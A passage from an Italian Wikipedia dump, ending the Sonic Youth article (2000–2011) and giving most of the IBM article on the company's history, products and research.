accompagnamento alle pellicole mute del cineasta.\n2000-2011.\nNella notte del 4 luglio del 1999, gli strumenti dei Sonic Youth vennero rubati durante il tour in California. Obbligati a ripartire da zero con nuovi strumenti, registrano l'album \"NYC Ghosts &amp; flowers\" e fanno da supporto ai Pearl Jam durante le tappe della costa ovest del loro tour del 2000.\nDopo gli attacchi dell'11 settembre 2001, spostarono la data del festival All Tomorrow's Parties, che si doveva tenere nell'ottobre del 2001 a Los Angeles, al marzo dell'anno seguente.\nNell'estate del 2002 pubblicarono \"Murray Street\", che molti critici acclamano come un \"ritorno in forma per i Sonic Youth\", probabilmente rivitalizzati dall'ingresso nella band in pianta stabile di Jim O'Rourke. \"Murray Street\" viene indicato anche come il miglior album della band in oltre un decennio.\nNel 2004 pubblicano \"Sonic Nurse\", album che viene accolto con ottime critiche e recensioni. Il pezzo di apertura dell'album, \"Pattern recognition\", intitolato cos\u00ec dopo la pubblicazione del libro del 2003 dello scrittore William Gibson, trova la band di nuovo alle prese con i lavori dello scrittore come fonte di ispirazione. Musicalmente parlando, questo pezzo segna un ritorno ai suoni postmoderni. La band mostra anche il suo senso dell'umorismo con il pezzo \"Mariah Carey and the Arthur Doyle Hand Cream\", pezzo veloce cantato dalla Gordon che prende in giro la vita e la carriera della Carey, inclusa la sua breve relazione con il rapper Eminem. Sulla copertina dell'album il riferimento a Mariah Carey viene sostituito da Kim Gordon per problemi di copyright, problema che fa intravedere la situazione sotto una luce ancor pi\u00f9 postmoderna e ironica. \"Sonic Nurse\" produce delle buone vendite grazie anche alle esibizioni eseguite all'interno dei talk show, come \"Late Night with Conan O'Brien\" e \"The Tonight Show with Jay Leno\". Era prevista anche la loro partecipazione al Lollapalooza 2004, che includeva band come Pixies e The Flaming Lips, ma il concerto fu cancellato per problemi con la vendita dei biglietti. Nei concerti eseguiti durante questo anno la band ripropose molti dei suoi pezzi degli anni ottanta.\nIl 6 ottobre del 2005, la rivista Los Angeles CityBeat pubblic\u00f2 la notizia del ritrovamento di alcuni degli strumenti rubati alla band nel 1999. Gli stessi strumenti, una volta recuperati, saranno utilizzati per la registrazione dell'album successivo, \"Rather Ripped\". Nello stesso articolo venne anche detto che Jim O'Rourke avrebbe probabilmente lasciato la band. La notizia venne confermata da un'intervista con Lee Ranaldo su Pitchfork Media. Jim O'Rourke durante la sua permanenza con i Sonic Youth ha suonato il basso, la chitarra e occasionalmente il sintetizzatore.\nNel giugno del 2006 pubblicano l'album \"Rather Ripped\". Come nel precedente lavoro, \"Sonic Nurse\", la maggior parte dei pezzi sono composti da Thurston Moore; rispetto ai precedenti album troviamo composizioni dalla struttura pi\u00f9 semplice e melodica, e si nota l'attenuarsi del feedback che caratterizza il loro sound da sempre. Sempre nel 2006 il loro album \"Daydream Nation\" viene inserito all'interno del National Recording Registry (l'anno di riferimento \u00e8 comunque il 2005, nel 2006 \u00e8 stato ufficializzato l'inserimento), istituzione che documenta la storia dell'America attraverso la musica.\nCon un comunicato apparso sul sito della loro etichetta \"Matador\", sabato 15 ottobre 2011 viene ufficializzata la separazione tra Thurston Moore e Kim Gordon, dopo un matrimonio di 27 anni. Anche artisticamente, dopo trent'anni, quella data si fa valere come quella terminale del gruppo, anche se il comunicato precisa che la programmata tourn\u00e9e sudamericana si sarebbe comunque tenuta. Successivamente, per un paio di anni vengono pubblicati dischi live con materiale inedito, demo, ristampe celebrative, mentre i quattro membri della band si dedicano tutti a nuovi progetti musicali.\nL'11 giugno del 2020 Lee Ranaldo in un'intervista ha dichiarato: \"Sento spesso Thurston, Kim, Steve, Jim, Mark e i nostri numerosi collaboratori. Con Steve abbiamo suonato insieme e anche con Thurston. Sono sicuro che i nostri percorsi si incroceranno ancora e ancora in futuro.\"\nFormazione.\nUltima formazione.\nEx Membri"}
{"id": "26308", "revid": "1543377", "url": "https://it.wikipedia.org/wiki?curid=26308", "title": "IBM", "text": "LInternational Business Machines Corporation (comunemente nota come IBM, e soprannominata \"Big Blue\"), \u00e8 un'azienda statunitense, la pi\u00f9 anziana e tra le maggiori al mondo nel settore informatico. Produce e commercializza hardware, software per computer, middleware e servizi informatici, offrendo infrastrutture, servizi di hosting, cloud computing, intelligenza artificiale, quantum computing e consulenza nel settore informatico e strategico (ad es. in aree che vanno dai computer mainframe alle nanotecnologie).\nInvenzioni famose di IBM includono il primo calcolatore elettromeccanico ovvero il Mark 1, il primo PC con sistema operativo MS-DOS prodotto dalla Microsoft, il disco floppy, la carta a banda magnetica, il database relazionale, la scheda madre, i connettori PS/2, l'Universal Product Code (UPC) ovvero il codice a barre, il sistema SABRE di prenotazione aerea, la DRAM e il sistema d'intelligenza artificiale Watson. Il mainframe IBM, esemplificato dal System/360, \u00e8 stata la piattaforma di calcolo dominante durante gli anni sessanta e settanta. \u00c8 uno dei cosiddetti \"big player\" nel mondo delle piattaforme cloud, con la sua piattaforma globale denominata \"IBM Cloud\", presente nel mondo con pi\u00f9 di 60 datacenter cloud (sia multi-zone che single-zone).\n\u00c8 anche un'importante organizzazione di ricerca scientifica, detenendo il record per la maggior parte dei brevetti statunitensi generati da un'azienda (al 2020) per 27 anni consecutivi; attiva anche nell'ambito della computazione quantistica, ha inoltre prodotto il primo computer quantistico in cloud chiamato \"IBM Q Experience\" e producendo il primo vero computer quantistico commercializzabile, denominato \"IBM Q System One\".\nHa continuamente spostato le operazioni di business concentrandosi su mercati di valore aggiunto e pi\u00f9 redditizi; ci\u00f2 include la creazione del produttore di stampanti Lexmark nel 1991 e la vendita di personal computer (ThinkPad/ThinkCentre) e di server basati su x86 a Lenovo (rispettivamente nel 2005 e nel 2014) e l'acquisizione di societ\u00e0 come PwC Consulting (2002), SPSS (2009), The Weather Company (2016) e Red Hat (2019).\nStoria.\nLa creazione e le prime attivit\u00e0.\nCostituita il 16 giugno 1911, ma attiva dal 1888, ha sede ad Armonk, New York, USA.\nNel 1910, Herman Hollerith, confer\u00ec i suoi brevetti per la Germania a Willy Heidinger, un commerciante di macchine addizionatrici che fonda la Deutsche Hollerith Maschinen Gesellschaft, abbreviata in Dehomag. Poi Hollerith vende l'intera attivit\u00e0 a Charles Flint e questi a sua volta a Thomas J. Watson, che nel 1924 trasformer\u00e0 il vecchio nome dell'azienda statunitense in IBM e render\u00e0 l'azienda leader nel campo dei sistemi meccanografici, destinati ad avere un grande successo nell'epoca del New Deal roosveltiano. La filiale italiana dell'IBM fu costituita nel 1927.\nNegli anni ottanta dell'Ottocento emersero tecnologie che avrebbero costituito il nucleo di International Business Machines (IBM): Julius E. Pitrap brevett\u00f2 la bilancia informatica nel 1885; Alexander Dey invent\u00f2 il registratore nel 1888; Herman Hollerith (1860-1929) brevett\u00f2 l'Electric Tabulating Machine; i fratelli Bundy inventarono un orologio per registrare l'orario di ingresso e di uscita di un lavoratore dalla fabbrica su un nastro di carta nel 1889. Il 16 giugno 1911, le loro quattro compagnie furono riunite da Charles Ranlett Flint che forma una quinta compagnia, la Computing-Tabulating-Recording Company (CTR) con sede a Endicott, New York. Le cinque societ\u00e0 avevano 1.300 dipendenti, uffici e stabilimenti a Endicott e Binghamton, New York; Dayton, Ohio; Detroit, Michigan; Washington DC e Toronto.\nProdussero macchinari per la vendita e la locazione, come bilance commerciali, registratori di tempo industriali, affettatrici di carne e formaggio, tabulatori e schede perforate. Thomas J. Watson Sr., licenziato dalla National Cash Register Company da John Henry Patterson, chiam\u00f2 Flint e, nel 1914, gli fu offerto un posto alla CTR. Watson entr\u00f2 a far parte della CTR in qualit\u00e0 di direttore generale, quindi, 11 mesi dopo, fu nominato presidente una volta risolte le cause giudiziarie relative alla sua permanenza in NCR. Avendo appreso le pratiche commerciali pionieristiche di Patterson durante il suo periodo in NCR, Watson decise di applicare queste anche alla CTR. Mise in atto convenzioni di vendita, \"generosi incentivi di vendita, attenzione al servizio clienti, insistenza su venditori ben curati e scuri e aveva un fervore evangelico per infondere orgoglio e lealt\u00e0 in ogni lavoratore\". Il suo slogan preferito, \"PENSA\", \u00e8 diventato un mantra per i dipendenti di ogni azienda. Durante i primi quattro anni di Watson, i ricavi raggiunsero i 9 milioni di dollari (equivalenti a circa 130 milioni di dollari odierni) e le attivit\u00e0 dell'azienda si estesero in Europa, Sud America, Asia e Australia. A Watson tuttavia non era mai piaciuto il goffo nome \"Computing-Tabulating-Recording Company\" e il 14 febbraio 1924 scelse di sostituirlo con il titolo pi\u00f9 espansivo \"International Business Machines\". Nel 1933 la maggior parte delle filiali era stata fusa in un'unica societ\u00e0, la IBM.\nI ricercatori del NACA (National Advisory Committee for Aeronautics) nel 1957 utilizzavano una macchina elettronica di elaborazione dati IBM tipo 704.\nNel 1937 le apparecchiature di tabulazione di IBM permisero alle organizzazioni di elaborare enormi quantit\u00e0 di dati, i suoi clienti, compreso il governo degli Stati Uniti mentre si sforzava a mantenere i registri di lavoro di 26 milioni di persone ai sensi del Social Security Act. In Germania invece, con la filiale Dehomag i calcolatori aiutarono i nazisti nella raccolta dei dati inerenti all'Olocausto.\nNel 1949 Thomas Watson Sr., cre\u00f2 la IBM World Trade Corporation, una consociata di IBM focalizzata su operazioni estere. Nel 1952 si dimise dopo quasi 40 anni al timone dell'azienda, e suo figlio Thomas Watson, Jr. fu nominato presidente. Nel 1956 la compagnia dimostr\u00f2 il primo esempio pratico di intelligenza artificiale quando Arthur L. Samuel del laboratorio Poughkeepsie di IBM, New York, programm\u00f2 un IBM 704 non solo per giocare a dama ma \"imparare\" dalla propria esperienza. Nel 1957 fu sviluppato il linguaggio di programmazione scientifica FORTRAN. Nel 1961 IBM svilupp\u00f2 il sistema di prenotazione SABRE per American Airlines e introdusse la macchina da scrivere Selectric di grande successo. Nel 1963 i dipendenti e i computer IBM aiutarono la NASA a tracciare i voli orbitali degli astronauti del Programma Mercury. Un anno dopo, trasfer\u00ec la sua sede centrale da New York City ad Armonk, New York. La seconda met\u00e0 degli anni '60 vide IBM continuare il suo supporto all'esplorazione spaziale, partecipando ai voli Gemini del 1965, ai voli di Saturno del 1966 e alla missione lunare del 1969.\nL'affermazione nel settore dei \"mainframe\".\nCon l'avvento del calcolatore elettronico, il prodotto principale di IBM diventa il mainframe, in cui \u00e8 tuttora leader di mercato. Il 7 aprile 1964 annuncia la famiglia di mainframe IBM System/360 che rimarr\u00e0 in produzione tra il 1965 e il 1978.\nUn IBM System / 360 in uso presso l'Universit\u00e0 del Michigan c. 1969.\nIl 7 aprile 1964, IBM annunci\u00f2 la prima famiglia di sistemi informatici, IBM System / 360. Ha ampliato la gamma completa di applicazioni commerciali e scientifiche da grandi a piccole, consentendo alle aziende di aggiornare per la prima volta a modelli con una maggiore capacit\u00e0 di elaborazione senza dover riscrivere le loro applicazioni. \u00c8 stato seguito da IBM System / 370 nel 1970. Insieme, 360 e 370 hanno reso il mainframe IBM il computer mainframe dominante e la piattaforma di elaborazione dominante nel settore durante questo periodo e nei primi anni '80. Loro, e i sistemi operativi che funzionavano su di essi come OS / VS1 e MVS, e il middleware basato su quelli come il monitor di elaborazione delle transazioni CICS, avevano una presa quasi monopolistica nel settore informatico e divenne quasi sinonimo con i prodotti IBM grazie alla loro quota di mercato.\nNel 1974 l'ingegnere IBM George J. Laurer svilupp\u00f2 il codice prodotto universale. IBM e la Banca mondiale hanno introdotto per la prima volta gli swap finanziari nel 1981 quando hanno stipulato un accordo di swap. Il PC IBM, originariamente designato IBM 5150, fu introdotto nel 1981 e divenne presto uno standard industriale. Nel 1991 IBM ha trasformato la sua produzione di stampanti in una nuova attivit\u00e0 chiamata Lexmark.\nLa crisi negli anni '80 e l'affermazione negli anni '90.\nTra la fine degli anni ottanta e l'inizio degli anni novanta, a causa dell'emergere dell'informatica distribuita, attravers\u00f2 un periodo di profonda crisi.\nNel 1993 IBM ha registrato una perdita di 8 miliardi di dollari, all'epoca la pi\u00f9 grande nella storia aziendale americana. L'amministratore delegato era Lou Gerstner.\nIBM ricominci\u00f2 a salire la cima puntando su due direttrici: i servizi a valore aggiunto, e i sistemi cosiddetti \"midrange\", cio\u00e8 la serie AS/400 (prodotta negli stabilimenti di Rochester - USA, Roma Santa Palomba - Italia e dal Campus di Dublino - Irlanda), oggi iSeries, che avrebbe avuto grande successo prima nelle piccole e medie imprese e poi anche nelle grandi aziende, dove si conquist\u00f2 un posto come \"snodo\" fra i grandi Mainframe e le unit\u00e0 produttive decentrate. I Server AS/440 basati sul sistema operativo integrato proprietario Os/400, poi rinominato i5/OS e ora IBM i, hanno fatto conoscere i sistemi e le applicazioni gestionali del mondo IBM a tantissime piccole e medie imprese che non si sarebbero potute permettere i mainframe utilizzate dalle multinazionali e dalla grande impresa.\nIBM ha costruito Deep Blue, computer progettato per giocare a scacchi, che batt\u00e9 nel 1997 l'allora campione del mondo Garry Kasparov. Blue Gene nella sua pi\u00f9 potente configurazione (Blue Gene/L) \u00e8 stato (a novembre 2007) il pi\u00f9 potente computer del pianeta. \nGli anni 2000 e le acquisizioni.\nDal 2000 IBM ha iniziato una politica di dismissioni ed acquisizioni, volta ad incrementare il ritorno per gli azionisti grazie allo spostamento delle vendite su prodotti/mercati maggiormente profittevoli ed abbandonando tecnologie oramai divenute \"commodity\" (vedasi il caso di PC e stampanti principalmente). IBM ha acquisito pi\u00f9 di 60 aziende dal 2006 ad oggi, trasformandosi da un'azienda \"hardware-centrica\" a una realt\u00e0 dove gran parte del fatturato deriva da software e servizi.\nDal dicembre 2004 (operativamente da giugno 2005) IBM Corporation ha ceduto a Lenovo (azienda leader in Cina e sui mercati asiatici attiva nella produzione di PC, Cellulari, server e periferiche) PC Global, la parte dell'azienda che produce computer desktop e portatili.\nA partire da settembre 2011, IBM \u00e8 la seconda pi\u00f9 grande azienda tecnologica al mondo quotata in borsa per capitalizzazione di mercato.\n\u00c8 attualmente attivo nella sede di Roma un laboratorio di sviluppo software (nel passato conosciuto anche come \"Tivoli Lab\"), ora pi\u00f9 focalizzato sul cloud. Dentro l\"IBM FORUM\" di Segrate \u00e8 possibile testare tutte le nuove tecnologie targate IBM. Presso l\"Innovation Center For Business Partner (IIC)\" i Business Partner / ISV iscritti al programma\" Partnerworld\" possono effettuare test di compatibilit\u00e0 e di migrazione software sulle piattaforme IBM con il supporto dei migliori Specialisti e Architetti.\nCon l'acquisizione di PWC Consulting nel 2015, la IBM ha ampliato il suo raggio di azione alla consulenza aziendale e ai servizi. La recente vendita dei PC all'azienda cinese Lenovo e lo spostamento della IBM verso il mondo Linux, Open Source e soprattutto al SOA, sono un esempio della continua capacit\u00e0 di rinnovarsi di questa azienda che, pur di grandi dimensioni, \u00e8 riuscita a superare momenti di crisi molto forti che hanno portato alla sparizione sul mercato di altri nomi altrettanto famosi. Sempre nello stesso anno, IBM ha iniziato a annunciare diverse importanti partnership con altre societ\u00e0, tra cui Apple Inc., Twitter, Facebook, Tencent, Cisco, UnderArmour, Box, Microsoft, VMware, CSC, Macy's, Sesame Workshop, la societ\u00e0 madre di Sesame Street e Salesforce.com.\nNel 2014 la divisione server con architettura x86 \u00e8 stata acquisita dal gruppo cinese Lenovo per 2,3 miliardi di dollari.\nNel febbraio 2014 IBM lancia la sua architettura \"PaaS\" (Platform As A Service) denominata \"Bluemix\" rinominata nell'ottobre 2017 pi\u00f9 semplicemente IBM Cloud, comprendendo una serie di servizi, includendo l'architettura \"IaaS\" (Infrastucture As A Service) \"Softlayer\", gi\u00e0 di possesso di IBM.\nNel 2015 IBM ha annunciato tre importanti acquisizioni: Merge Healthcare per $ 1 miliardo, il fornitore di archiviazione dati Cleversafe e tutte le risorse digitali di The Weather Company, tra cui Weather.com e l'app mobile Weather Channel. Sempre quell'anno, IBMers ha creato il film A Boy and His Atom, che \u00e8 stato il primo film molecolare a raccontare una storia. Nel 2016, IBM ha acquisito il servizio di videoconferenza Ustream e ha formato una nuova unit\u00e0 video cloud. Ad aprile 2016, ha registrato un minimo di 14 anni nelle vendite trimestrali. Il mese seguente, Groupon ha fatto causa a IBM accusandolo di violazione di brevetto, due mesi dopo che IBM ha accusato Groupon di violazione di brevetto in una causa separata.\nNell'ottobre 2018 IBM annuncia l'acquisizione di Red Hat per circa 34 miliardi di dollari, la maggiore acquisizione della sua storia con cui, migliorando l'offerta cloud, punta alla leadership del settore.\nStoria recente.\nIBM ha annunciato nell'ottobre 2020 che si sta dividendo in due societ\u00e0 pubbliche separate. Il futuro obiettivo di IBM sar\u00e0 il cloud computing ad alto margine e l'intelligenza artificiale, costruiti sulla base dell'acquisizione di Red Hat nel 2019. La nuova societ\u00e0 \"Kyndryl\u201d creata dall'unit\u00e0 IBM Global Technology Services Managed Infrastructure Services, avr\u00e0 90.000 dipendenti, 4.600 clienti in 115 paesi, con un portafoglio ordini di $ 60 miliardi. Lo spin off di IBM sar\u00e0 maggiore di qualsiasi delle sue precedenti cessioni e sar\u00e0 accolto con favore dagli investitori. \nIBM si \u00e8 regolarmente reinventata vendendo asset a basso margine, spostando la sua attenzione su mercati di valore superiore e pi\u00f9 redditizi. Esempi inclusi:\nSede e uffici.\nIBM ha sede ad Armonk, New York, una comunit\u00e0 a 37 miglia (60\u00a0km) a nord di Midtown Manhattan. Il suo edificio principale, indicato come CHQ, \u00e8 un edificio in vetro e pietra di su un parco di 25 acri (10\u00a0ha) in un ex meleto di 432 acri acquistato dalla societ\u00e0 a met\u00e0 degli anni 1950. Ci sono altri due edifici IBM a pochi passi da CHQ: l'ufficio di North Castle, che in precedenza serviva da quartier generale di IBM; e il Louis V. Gerstner, Jr., Center for Learning (precedentemente noto come IBM Learning Center (ILC)), un hotel resort e un centro di formazione, che dispone di 182 camere, 31 sale riunioni e vari servizi.\nIBM opera in 174 paesi a partire dal 2016, con centri di mobilit\u00e0 in aree con mercati pi\u00f9 piccoli e campus principali in quelli pi\u00f9 grandi. A New York City, IBM ha diversi uffici oltre a CHQ, incluso il quartier generale di IBM Watson presso l'Astor Place a Manhattan. Al di fuori di New York, i principali campus negli Stati Uniti includono Austin, in Texas; Research Triangle Park (Raleigh-Durham), Carolina del Nord; Rochester, Minnesota; e Silicon Valley, California.\nLe partecipazioni immobiliari di IBM sono varie e diversificate a livello globale. Le torri occupate da IBM includono 1250 Ren\u00e9-L\u00e9vesque (Montreal, Canada) e One Atlantic Center (Atlanta, Georgia, USA). A Pechino, in Cina, IBM occupa Pangu Plaza, il settimo edificio pi\u00f9 alto della citt\u00e0 e si affaccia sullo stadio nazionale di Pechino (\"Nido d'uccello\"), sede delle Olimpiadi estive del 2008.\nIBM India Private Limited \u00e8 la consociata indiana di IBM, che ha sede a Bangalore, Karnataka. Ha strutture a Bangalore, Ahmedabad, Delhi, Calcutta, Mumbai, Chennai, Pune, Gurugram, Noida, Bhubaneshwar, Coimbatore, Visakhapatnam e Hyderabad.\nAltri edifici importanti includono l'IBM Rome Software Lab (Roma), la Hursley House (Winchester, Regno Unito), 330 North Wabash (Chicago, Illinois, Stati Uniti), il Cambridge Scientific Center (Cambridge, Massachusetts, Stati Uniti), il IBM Toronto Software Lab (Toronto, Canada), IBM Building, Johannesburg (Johannesburg, Sudafrica), IBM Building (Seattle) (Seattle, Washington, Stati Uniti), IBM Hakozaki Facility (Tokyo, Giappone), IBM Yamato Facility (Yamato, Giappone), IBM Canada Head Office Building (Ontario, Canada) e Watson IoT Headquarters (Monaco, Germania). Campus IBM defunti includono IBM Somers Office Complex (Somers, New York) e Tour Eqho (Parigi, Francia). I contributi dell'azienda all'architettura e al design industriale comprendono opere di Eero Saarinen, Ludwig Mies van der Rohe e I.M. Pei. L'edificio di Van der Rohe a Chicago \u00e8 stato riconosciuto con l'Honor Award 1990 dal National Building Museum.\nIBM \u00e8 stata riconosciuta come uno dei 20 migliori ambienti di lavoro per pendolari dalla United States Environmental Protection Agency (EPA) nel 2005, che ha riconosciuto le societ\u00e0 Fortune 500 che hanno fornito ai dipendenti eccellenti vantaggi per i pendolari per contribuire a ridurre il traffico e l'inquinamento atmosferico. Nel 2004, sono state sollevate preoccupazioni relative al contributo di IBM nei suoi primi giorni all'inquinamento nella sua posizione originale a Endicott, New York.\nAttivit\u00e0.\nAttualmente \u00e8 attiva in molti settori: dai server che vende con vari sistemi operativi (AIX, Linux, Windows NT), al software (questa divisione nasce nel 1995), ai servizi in ambito informatico, ai microprocessori (ad esempio i PowerPC, utilizzati nelle console di settima generazione come Xbox 360, Nintendo Wii e insieme a Sony e Toshiba ha sviluppato il processore multimediale Cell, utilizzato nella PlayStation 3).\nIBM ha sposato da tempo la scelta di sostenere il software Open Source collaborando con molti propri specialisti alla realizzazione di pilastri come il server HTTP Apache e l'ambiente di sviluppo software Eclipse, pensato come un framework multipiattaforma facilmente integrabile e personalizzabile per diversi ambienti e linguaggi di programmazione, partendo da Java ma oggi anche con supporti per PHP.\nLa politica mondiale di IBM \u00e8 basata essenzialmente sulla rete dei Business Partner che veicolano la maggior parte dei prodotti e servizi della casa madre. In Italia, per rispondere alle esigenze gestionali del mercato e per le specificit\u00e0 fiscali richieste, IBM ha sviluppato le \"Applicazioni Contabili Gestionali\" (ACG) disponibili sia in ambiente iSeries che in ambiente Java. Le ACG sono interamente realizzate in Italia e vengono vendute con circa l'ottanta per cento dei programmi in formato sorgente, in modo da permettere numerose personalizzazioni che oggi compongono un folto catalogo disponibile presso i Business Partner.\nProdotti e servizi.\nBlue Gene \u00e8 stato insignito della National Medal of Technology and Innovation nel 2009.\nIBM ha un portafoglio ampio e diversificato di prodotti e servizi. A partire dal 2016, queste offerte rientrano nelle categorie di cloud computing, intelligenza artificiale, commercio, dati e analisi, Internet of Things (IoT), infrastruttura IT, mobile e sicurezza.\nIBM Cloud include infrastruttura come servizio (IaaS), software as a service (SaaS) e platform as a service (PaaS) offerti attraverso modelli di distribuzione cloud pubblici, privati e ibridi. Ad esempio, IBM Bluemix PaaS consente agli sviluppatori di creare rapidamente siti Web complessi su un modello pay-as-you-go. IBM SoftLayer \u00e8 un server dedicato, hosting gestito e provider di cloud computing, che nel 2011 ha riferito di ospitare oltre 81.000 server per oltre 26.000 clienti. IBM fornisce anche Cloud Data Encryption Services (ICDES), utilizzando la suddivisione crittografica per proteggere i dati dei clienti.\nIBM ospita inoltre ogni anno la conferenza sul settore del cloud computing e delle tecnologie mobili, InterConnect.\nL'hardware progettato da IBM per queste categorie include i microprocessori POWER IBM, che sono impiegati all'interno di molti sistemi di gioco console, tra cui Xbox 360, PlayStation 3 e Nintendo Wii U. IBM Secure Blue \u00e8 un hardware di crittografia che pu\u00f2 essere integrato in microprocessori, e nel 2014, la societ\u00e0 ha rivelato TrueNorth, un circuito integrato CMOS neuromorfo e ha annunciato un investimento di $ 3 miliardi nei successivi cinque anni per progettare un chip neurale che imita il cervello umano, con 10 miliardi di neuroni e 100 trilioni di sinapsi, ma che utilizza solo 1 chilowatt di potere. Nel 2016, la societ\u00e0 ha lanciato array all-flash progettati per aziende di piccole e medie dimensioni, che includono software per la compressione, il provisioning e le istantanee dei dati su vari sistemi.\nL'outsourcing IT rappresenta anche un importante servizio fornito da IBM, con oltre 40 data center in tutto il mondo. alphaWorks \u00e8 la fonte di IBM per le tecnologie software emergenti e SPSS \u00e8 un pacchetto software utilizzato per l'analisi statistica. La suite Kenexa di IBM offre soluzioni per l'impiego e la fidelizzazione e include BrassRing, un sistema di tracciamento dei candidati utilizzato da migliaia di aziende per il reclutamento. IBM possiede anche The Weather Company, che fornisce previsioni meteorologiche e include weather.com e Weather Underground.\nSmarter Planet \u00e8 un'iniziativa che mira a raggiungere la crescita economica, l'efficienza a breve termine, lo sviluppo sostenibile e il progresso della societ\u00e0, prendendo di mira opportunit\u00e0 come reti intelligenti, sistemi di gestione delle risorse idriche, soluzioni per la congestione del traffico ed edifici pi\u00f9 ecologici.\nLe disposizioni sui servizi includono Redbook, che sono libri online disponibili al pubblico sulle migliori pratiche con i prodotti IBM, e developerWorks, un sito Web per sviluppatori software e professionisti IT con articoli e tutorial pratici, nonch\u00e9 download di software, esempi di codice, forum di discussione, podcast , blog, wiki e altre risorse per sviluppatori e professionisti tecnici.\nIBM Watson \u00e8 una piattaforma tecnologica che utilizza l'elaborazione del linguaggio naturale e l'apprendimento automatico per rivelare intuizioni da grandi quantit\u00e0 di dati non strutturati. Watson ha debuttato nel 2011 nel game show americano Jeopardy !, dove ha gareggiato contro i campioni Ken Jennings e Brad Rutter in un torneo a tre partite e ha vinto. Da allora Watson \u00e8 stato applicato ad aziende, sanit\u00e0, sviluppatori e universit\u00e0. Ad esempio, IBM ha collaborato con il Memorial Sloan Kettering Cancer Center per aiutare a considerare le opzioni di trattamento per i pazienti oncologici e per fare screening del melanoma. Inoltre, diverse aziende hanno iniziato a utilizzare Watson per i call center, sostituendo o assistendo gli agenti del servizio clienti.\nNel gennaio 2019, IBM ha presentato il suo primo computer quantistico commerciale IBM Q System One.\nIBM fornisce anche un'infrastruttura per il dipartimento di polizia di New York City attraverso IBM Cognos Analytics per eseguire visualizzazioni di dati di criminalit\u00e0 CompStat.\nRicerca.\nIl Thomas J. Watson Research Center di Yorktown Heights, New York, \u00e8 uno dei 12 laboratori di ricerca IBM in tutto il mondo.\nIBM Fellow Benoit Mandelbrot discute la geometria frattale, 2010.\nLa ricerca fa parte di IBM sin dalla sua fondazione, e i suoi sforzi organizzati risalgono alle sue radici nel 1945, quando il Watson Scientific Computing Laboratory fu fondato alla Columbia University di New York City, trasformando una casa di confraternita rinnovata nella West Side di Manhattan in prima IBM laboratorio. Ora, IBM Research costituisce la pi\u00f9 grande organizzazione di ricerca industriale al mondo, con 12 laboratori in 6 continenti. IBM Research ha sede presso il Thomas J. Watson Research Center di New York e le strutture includono il laboratorio Almaden in California, il laboratorio Austin in Texas, il laboratorio Australia a Melbourne, il laboratorio Brasile a San Paolo e Rio de Janeiro, il laboratorio Cina a Pechino e Shanghai, Irlanda laboratorio a Dublino, laboratorio Haifa in Israele, laboratorio India a Delhi e Bangalore, laboratorio Tokyo, laboratorio Zurigo e laboratorio Africa a Nairobi.\nIn termini di investimenti, le spese di ricerca e sviluppo di IBM ammontano a diversi miliardi di dollari ogni anno. Nel 2012, tale spesa era di circa 6,9 miliardi di dollari USA. Recenti stanziamenti hanno incluso $ 1 miliardo per creare una business unit per Watson nel 2014 e $ 3 miliardi per creare un semiconduttore di nuova generazione insieme a $ 4 miliardi per far crescere gli \"imperativi strategici\" dell'azienda (cloud, analisi, mobile, sicurezza, social) in 2015.\nIBM \u00e8 stato uno dei principali sostenitori dell'Open Source Initiative e ha iniziato a supportare Linux nel 1998. La societ\u00e0 investe miliardi di dollari in servizi e software basati su Linux attraverso l'IBM Linux Technology Center, che comprende oltre 300 sviluppatori di kernel Linux. IBM ha anche rilasciato codice con diverse licenze open source, come il framework software indipendente dalla piattaforma Eclipse (per un valore di circa 40 milioni di dollari al momento della donazione), la licenza International Components for Unicode (ICU) a tre frasi e Java Apache Derby basato su un sistema di gestione di database relazionale (RDBMS). Il coinvolgimento dell'open source di IBM non \u00e8 stato tuttavia privo di problemi (consultare SCO v. IBM).\nLe invenzioni e gli sviluppi famosi di IBM includono: il bancomat (ATM), la memoria dinamica ad accesso casuale (DRAM), il keypunch elettronico, lo scambio finanziario, il floppy disk, il disco rigido, la scheda a banda magnetica, il database relazionale, RISC, il sistema di prenotazione della compagnia aerea SABRE, SQL, il codice a barre UPC (Universal Product Code) e la macchina virtuale. Inoltre, nel 1990 gli scienziati dell'azienda hanno utilizzato un microscopio a scansione di tunnel per disporre 35 singoli atomi di xeno per precisare l'acronimo dell'azienda, segnando la prima struttura assemblata un atomo alla volta. Una parte importante della ricerca IBM \u00e8 la generazione di brevetti. Sin dal suo primo brevetto per un dispositivo di segnalazione del traffico, IBM \u00e8 stata una delle fonti di brevetto pi\u00f9 prolifiche al mondo. Nel 2018, l'azienda detiene il record per la maggior parte dei brevetti generati da un'azienda, segnando 25 anni consecutivi per il raggiungimento.\nCinque IBM hanno ricevuto il premio Nobel: Leo Esaki, del Thomas J. Watson Research Center di Yorktown Heights, New York, nel 1973, per il lavoro sui semiconduttori; Gerd Binnig e Heinrich Rohrer, del Centro di ricerca di Zurigo, nel 1986, per il microscopio a scansione a tunnel; e Georg Bednorz e Alex M\u00fcller, anche di Zurigo, nel 1987, per la ricerca sulla superconduttivit\u00e0. Numerosi IBM hanno anche vinto il Turing Award, tra cui la prima ricevente femminile Frances E. Allen.\nLa ricerca attuale include una collaborazione con l'Universit\u00e0 del Michigan per vedere i computer fungere da consulente accademico per gli studenti universitari di informatica e ingegneria all'universit\u00e0 e una partnership con AT&amp;T, che combina le loro piattaforme cloud e Internet of Things (IoT) per renderle interoperabili e per fornire agli sviluppatori strumenti pi\u00f9 semplici.\nLa societ\u00e0 \u00e8 inoltre impegnata nella ricerca di algoritmi avanzati e machine learning e dei loro processi decisionali. A tal fine, la societ\u00e0 ha recentemente rilasciato uno strumento di analisi su come e perch\u00e9 gli algoritmi prendono decisioni durante la ricerca di errori nel processo decisionale automatizzato.\nMarchio e reputazione.\nAnnunci IBM all'aeroporto internazionale John F. Kennedy, 2013\nIBM \u00e8 soprannominata Big Blue in parte per il suo logo blu e la combinazione di colori, e anche in parte poich\u00e9 IBM una volta aveva un codice di abbigliamento di fatto di camicie bianche con abiti blu. Il logo aziendale ha subito diversi cambiamenti nel corso degli anni, con l'attuale logo a \"8 barre\" progettato nel 1972 dal grafico Paul Rand. Era un sostituto generale per un logo a 13 barre, poich\u00e9 le fotocopiatrici d'epoca non rendevano bene grandi aree. A parte il logo, IBM ha utilizzato Helvetica come carattere tipografico aziendale per 50 anni, fino a quando non \u00e8 stato sostituito nel 2017 da IBM Plex progettato su misura.\nIBM ha un marchio prezioso come risultato di oltre 100 anni di operazioni e campagne di marketing. Dal 1996, IBM \u00e8 il partner tecnologico esclusivo per il Torneo Masters, uno dei quattro campionati pi\u00f9 importanti nel golf 